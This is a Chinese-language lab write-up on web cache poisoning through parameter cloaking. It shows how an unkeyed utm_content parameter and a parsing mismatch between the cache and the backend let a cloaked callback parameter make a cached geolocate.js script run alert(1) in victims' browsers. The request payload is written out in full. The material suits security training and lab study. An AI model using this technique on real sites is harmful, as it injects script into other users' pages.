> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/cache-poisoning/parameter-cloaking.md).
# 参数隐藏
### 参数隐藏
该实验室存在 **Web 缓存投毒** 因为某个特定参数被排除在缓存键之外。/ 此外，还有一个 **对参数解释的不一致** 在缓存系统和后端之间。/ 一位用户经常使用以下方式访问网站首页 **谷歌 Chrome**.
目标：/ 使用 **参数隐藏** 技术来执行 `alert(1)` 在受害者的浏览器中。
**初步观察**
请求中出现了以下 cookie：
```bash
Cookie: country=[object Object]
```
在服务器响应中，一个 **地理定位** 脚本被加载。/ 该脚本使用 cookie 值在客户端确定用户所在国家。
**易受攻击参数的识别**
使用 **Param Miner（猜测查询参数）**，我们检测到一种 **参数隐藏**.
发现的参数是：
```bash
utm_content
```
如果你访问以下 URL：
```bash
/?utm_content=z9qc51
```
我们注意到：
* 参数值可以自由更改
* 缓存\*\*不会失效\*\*
* 对以下用户，响应保持不变
这证实了 `utm_content` 是 **被排除在缓存键之外**.
**通过 geolocate 脚本进行操作**
页面加载的脚本是：
```bash
/js/geolocate.js?callback=setCountryCookie
```
添加缓存忽略的参数：
```bash
/js/geolocate.js?callback=setCountryCookie=test?utm_content=z9111
```
观察到以下行为：
* 该 `测试` 值在响应中被反映出来
* 缓存保持不变
这表明后端对参数的解释与缓存不同。
**通过参数隐藏进行注入**
利用这种解析差异，通过注入一个 **第二个参数 callback** 被……掩盖 `utm_content`:
```bash
/js/geolocate.js?callback=setCountryCookie&utm_content=z9111;callback=alert(1)
```
结果：
* 缓存始终认为该请求相同
后端将 `callback=alert(1)` 作为一个有效的新参数
生成的 JavaScript 运行 `alert(1)`
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